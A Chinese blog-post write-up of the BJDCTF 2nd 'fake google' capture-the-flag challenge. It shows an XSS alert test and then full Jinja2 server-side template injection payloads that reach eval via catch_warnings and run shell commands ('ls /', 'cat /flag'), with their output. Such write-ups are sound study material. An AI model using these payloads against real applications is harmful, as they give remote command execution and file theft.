zoukankan      html  css  js  c++  java
  • [BJDCTF 2nd]fake google

    [BJDCTF 2nd]fake google

    进入页面:

    img

    试了几下发现输入xxx,一般会按的格式显示,

    P3's girlfirend is : xxxxx

    然后猜测会不会执行代码,发现可以执行

    <script>alert(1);</script>
    

    发现输出P3's girlfirend is : xxxxx的页面注释有一句话,师傅把点告诉我们了:ssti注入

    <!--ssssssti & a little trick -->
    

    题解就很明显了:因为师傅下手轻了,所以没什么过滤

    payload:看一下根目录,回显了flag在这根目录

    ?name=

    {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
    

    代码藏起来了,详情如下:

    {% for c in [].class.base.subclasses() %}
    {% if c.name=='catch_warnings' %}
    {{ c.init.globals['builtins'].eval("import('os').popen('ls /').read()")}}
    {% endif %}{% endfor %}

    P3's girlfirend is : app bd_build bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var

    payload:查看flag,得到flag

    ?name=

    {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()")}}{% endif %}{% endfor %}
    

    代码藏起来了,详情如下:

    {% for c in [].class.base.subclasses() %}
    {% if c.name=='catch_warnings' %}
    {{ c.init.globals['builtins'].eval("import('os').popen('cat /flag').read()")}}
    {% endif %}{% endfor %}

  • 相关阅读:
    YTU 2802: 判断字符串是否为回文
    YTU 2392: 求各位数字之和
    YTU 2391: 求素数
    HDU 2064:汉诺塔III
    HDU 2187:悼念512汶川大地震遇难同胞——老人是真饿了
    HDU 2036:改革春风吹满地
    HDU 1081:To The Max
    HDU 1257:最少拦截系统
    YTU 2425: C语言习题 输出月份
    YTU 2420: C语言习题 不等长字符串排序
  • 原文地址:https://www.cnblogs.com/h3zh1/p/12549581.html
Copyright © 2011-2022 走看看